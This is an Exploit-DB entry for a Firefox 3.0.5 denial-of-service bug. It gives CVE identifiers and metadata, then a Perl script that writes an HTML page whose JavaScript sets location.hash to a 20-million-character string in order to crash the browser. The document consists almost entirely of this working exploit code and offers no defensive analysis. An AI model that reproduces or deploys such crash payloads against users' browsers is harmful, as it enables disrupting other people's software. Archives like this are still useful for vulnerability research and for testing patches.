Mozilla Firefox 3.0.5 - location.hash Remote Crash
Author: Jeremy Brown
type: dos
platform: windows
port:
date_added: 2008-12-22
date_updated: 2017-01-06
verified: 1
codes: OSVDB-51032;CVE-2009-2953;CVE-2008-5715
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comfirefox305.exe
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n\n";
}
$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n";
$foot = "</script>" . "\n" . "</html>";
$data = $head . $trig . $foot;
open(FILE, '>' . $filename);
print FILE $data;
close(FILE);
exit;
# milw0rm.com [2008-12-23]